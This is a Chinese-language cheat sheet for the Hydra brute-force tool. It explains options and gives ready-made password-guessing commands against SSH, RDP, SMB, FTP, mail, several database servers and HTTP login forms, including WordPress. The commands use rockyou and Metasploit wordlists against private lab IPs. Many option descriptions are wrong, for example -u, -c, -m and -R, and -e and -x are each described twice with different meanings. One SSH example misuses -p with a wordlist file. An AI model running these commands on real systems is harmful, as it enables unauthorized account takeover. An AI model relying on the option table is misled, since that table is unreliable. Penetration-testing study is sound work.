文章

暴力破解 Hydra

Hydra简介

Hydra是一款常用的网络暴力破解工具,可以爆破各种常见的协议,如SSH、FTP、Telnet、SMTP等。可以根据用户提供的字典文件和一些参数设置,尝试各种可能的密码组合。

Hydra的基本语法

hydra [options] target

Hydra的参数(options)

-u参数用于指定目标URL,格式为-u url
-s参数用于指定端口号,格式为-s port
-c参数用于指定请求头,格式为-c header
-M参数用于指定多个目标的目标文件,格式为-M targets.txt

-l参数用于指定要破解的用户名,格式为-l username
-L参数用于指定用户名字典文件,格式为-L usernames.txt
-U参数用于指定用户名列表文件,格式为-U usernames.txt

-p参数用于指定密码,格式为-p password
-P参数用于指定密码列表文件,格式为-P filename
-e参数用于指定要尝试的密码类型,格式为-e nsr
    n null,表示尝试空密码
    s same,把用户名本身当做密码进行尝试
    r 反向,把用户名倒叙,当做密码进行尝试。
-x参数用于指定密码的最大长度和最小长度,格式为-x min:max
-R参数用于指定是否使用随机密码,格式为-R
-C参数用于指定指定所用格式为“user:password”的字典文件,格式为-C username:password

-b参数用于指定要尝试的用户名和密码是否在同一行,格式为-b
-m参数用于指定破解目标的加密方式,格式为-m method。以下是一些常用的协议:
    ssh:SSH协议
    ftp:FTP协议
    telnet:Telnet协议
    http-get:HTTP GET请求
    http-post:HTTP POST请求

-f参数用于当找到一个成功的用户名和密码时退出当前用户名的爆破,开始爆破下一个,格式为-f
-F参数用于当找到一个成功的用户名和密码时退出所有的爆破

-w参数用于指定等待时间,格式为-w seconds
-t参数用于指定并发线程数(默认16,最高64),格式为-t threads
-v参数用于显示详细输出,格式为-v
-vV参数用于显示详细的调试信息,格式为-vV

-x和-X参数用于指定HTTP代理。-x参数用于指定代理服务器地址和端口号,格式为-x proxy:port
-K参数用于指定是否保持连接,格式为-K
-k参数用于指定是否使用SSL/TLS加密传输,格式为-k

-o参数用于将结果输出到文件中,格式为-o filename
-e参数用于指定错误日志文件,格式为-e filename

Hydra爆破常见服务

远程登录(SSH)

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.110:22
hydra -l root -p /usr/share/wordlists/rockyou.txt 192.168.31.173:22 ssh
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.216.136:22

常用弱密码破解:

hydra -t 4 -L /usr/share/wordlists/legion/ssh-user.txt -P /usr/share/wordlists/legion/root-userpass.txt ssh://192.168.56.110:22

SSH加密版本报错

Unable to negotiate with 192.168.216.144 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

解决方法:

在 ~/.ssh/config 配置文件指定正确的密钥类型
Host 192.168.216.144 
HostKeyAlgorithms +ssh-rsa

远程桌面(RDP)

hydra -l administrator -P /usr/share/wordlists/rockyou.txt 192.168.31.173 rdp

共享文件(SMB)

hydra -l administrator -P /usr/share/wordlists/rockyou.txt 192.168.31.173 smb

文件传输(FTP)

hydra -l <用户名> -P <密码列表文件> <目标IP> ftp -s <端口号>
hydra -l user -P passlist.txt ftp://192.168.0.1

邮箱协议(POP3)

hydra -l 用户名 -P 密码字典 192.168.31.173 pop3
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

MSSQL数据库

hydra -l sa -P /usr/share/wordlists/rockyou.txt 192.168.31.173 mssql

MySQL数据库

hydra -l 用户名 -P /usr/share/wordlists/rockyou.txt 192.168.31.173 mysql

Oracle数据库

hydra -l 用户名 -P /usr/share/wordlists/rockyou.txt 192.168.31.173 oracle

Redis数据库

hydra -l 用户名 -P /usr/share/wordlists/rockyou.txt 192.168.31.173 redis

PgSQL数据库

hydra -l 用户名 -P /usr/share/wordlists/rockyou.txt 192.168.31.173 postgresql

SMTP

hydra -l 用户名 -P 密码字典 192.168.31.173 smtp
hydra -l joe -P mypasswords.txt smtp://target_ip

IMAP

hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

破解HTTP基本认证(get)

hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -f http-get://target_ip/protected -V

破解HTTP基本认证(post)

sudo hydra 192.168.56.109 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l root -P /usr/share/wordlists/rockyou.txt

sudo hydra -L password.txt -p xiaoli 192.168.56.104 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"

http-post-form //web post方式

key=^PASS^  //提交的变量=payload提交变量
^USER^, ^PASS^, ^USER64^ or ^PASS64^: (null)
F= 指定失败关键字

示例:

sudo hydra 192.168.56.110 http-form-post "/mysite/register.html:inputPassword=^PASS^:invalid key" -l admin -P /usr/share/wordlists/rockyou.txt
sudo hydra 192.168.56.121 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l admin -P /usr/share/wordlists/rockyou.txt

sudo hydra 192.168.123.143 http-form-post "/index.php:uname=^USER^&psw=^PASS^:invalid key" -L /usr/share/wordlists/metasploit/namelist.txt -P /usr/share/wordlists/metasploit/password.lst
License:  CC BY 4.0